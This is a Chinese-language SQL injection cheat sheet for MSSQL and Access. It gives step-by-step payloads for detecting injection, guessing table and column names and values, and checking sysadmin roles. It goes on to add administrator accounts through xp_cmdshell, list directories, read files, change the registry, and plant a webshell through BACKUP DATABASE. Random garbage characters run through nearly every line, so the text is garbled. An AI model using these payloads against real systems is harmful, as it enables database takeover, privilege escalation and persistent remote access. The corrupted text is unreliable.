1.判断是否有注入;and 1=1 ;and 1=2 f;[\'_.*
2.初步判断是否是mssql ;and user>0 w[bhm$SX]B
[-*1M4D9
3.注入参数是字符'and [查询条件] and ''=' +~6Nq(kV
8N8N)#A[
4.搜索时没过滤参数的'and [查询条件] and '%25'=' l20fA-T
_I
L1'#wH
5.判断数据库系统 -/k;VT|
5V|D%t2N
;and (select count(*) from sysobjects)>0 mssql _Py/,Ks.q
0gs0[@
;and (select count(*) from msysobjects)>0 access UY)e6 Zd
]
X9e|
wcdD i[E>i
}3"FQ/6C
6.猜数据库 ;and (select Count(*) from [数据库名])>0 errT7&@,A
Y'75DE<BC
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 VeJM=s.y7
rM
sd)
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 C1/<t)^
$[p<}o/6v]
9.(1)猜字段的ascii值(access) ?\
qfuA9.
:|GC~JElo5
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 {Q&@vbw'
TTJFF\$?
(2)猜字段的ascii值(mssql) X"S-f;b#
aetK<9L$
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 yEaim~
Ac0^`
10.测试权限结构(mssql) bD&^-&
G
!L+4YA
lHV&8fny
K%XQdMv
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- R::0.*FF
7 +RsZu
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- iK#5nY].
rNdeD~\
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7rc6
+YL9gNN>P
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8y<NT"
D[m+=-
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- c
k$ > yk
'u\my
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ^yO+-A2zC
%s+H& vfQs
;and 1=(select IS_MEMBER('db_owner'));-- ileqI/40f
x1gf o!BN
$\W|{u`
{^r8uKo:~
11.添加mssql和系统的帐户 )FNvtLZ
nLA8Hy"8z
;exec master.dbo.sp_addlogin username;-- IfGmA.O
;exec master.dbo.sp_password null,username,password;-- EJd l%j
EFb1Y{u^\!
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- X3C"A|HE9
!+&Rn\e%7
;exec master.dbo.xp_cmdshell 'net user username password 0i76(2
VtNY~
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- -Y*"!8
mkA1Sh{hX>
;exec master.dbo.xp_cmdshell 'net user username password /add';-- *rY@(|
:# 1d;jx
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- lJ+05\pE
HFJna2B`
QB<9Be@e
*W'F6Hpu
12.(1)遍历目录 mN>7vJ
>~;MQDU5*Y
;create table dirs(paths varchar(100), id int) X8F@U ^@
)c'5M]V
;insert dirs exec master.dbo.xp_dirtree 'c:\' qIbp0`m
*z2G(Uac
;and (select top 1 paths from dirs)>0 y*Egt `W
~!*xi
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) K~j&Q{yws@
2v
^bd^]u:
WaU+ZgDrG
`yjHLg
(2)遍历目录 zp"Lp>i
k4|9'V&1*6
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ()< E?D=
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 K;%P_f/KJP
XIM!]
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $T\W'WR>
?(9/V7HQ.5
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 R{s&6
g7($lt>
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ^/|agQ7D2
@ ;%+Ms
W|IMnK-
ff.(X!
13.mssql中的存储过程 C-
Aiv@@<=
RlRkw+%m
xp_regenumvalues 注册表根键, 子键 d|GQZAEJEt
c/l%:!A
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ~H[
/}G+PUk7
xp_regread 根键,子键,键值名 K>=KsG
yN9k-IPI
;exec xp_regread i/ED_<_Vg
{!?
@u?M
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 yc4?'k!
Dj
Z;LE>
xp_regwrite 根键,子键, 值名, 值类型, 值 8(yZX4OH>
tDWW
4H
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 }2WscxL
DuESLMhz
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Yt]tRqrh;T
D?+\"lI
xp_regdeletevalue 根键,子键,值名 iD*%' #u
1&zvf4
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !Zowe*`
!Tc
jJ2T
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 []i/\0C^
RMinZ}/
#[|~m;K(w
KpHt(>NR
14.mssql的backup创建webshell !n;0%"(FH
^!Y]l
use model ``;.Oy6jS
gMN>`Z`fV
create table cmd(str image); cB$OkaG#
SM57bN
insert into cmd(str) values (''); 06ndW9>wD)
zD#$]?@ b
backup database model to disk='c:\l.asp'; 5yOIwzr&Uu
A
-C.Bi;/
|PGF g0li
`IP?w&k)
15.mssql内置函数 _&(\>{pm
<WXGDCj
;and (select @@version)>0 获得Windows的版本号 i-.]onR
{6*$ yLWK
;and user_name()='dbo' 判断当前系统的连接用户是不是sa :n#8/'%1
\a#{Y/j3
;and (select user_name())>0 爆当前系统的连接用户 PK C}!>2
KT5amct
;and (select db_name())>0 得到当前连接的数据库
6tx5{Xl-o
U yb -feG
a&^HvXO(>(
oI\Lepl*
16.简洁的webshell ]%%I=r
iXoEdt)
use model L3/SIoqd
Kw%to9eh)
create table cmd(str image); 8v<802
|wxAdPe
insert into cmd(str) values (''); :VkuK@Th`
ftb .CPWI
backup database model to disk='g:\wwwtest\l.asp';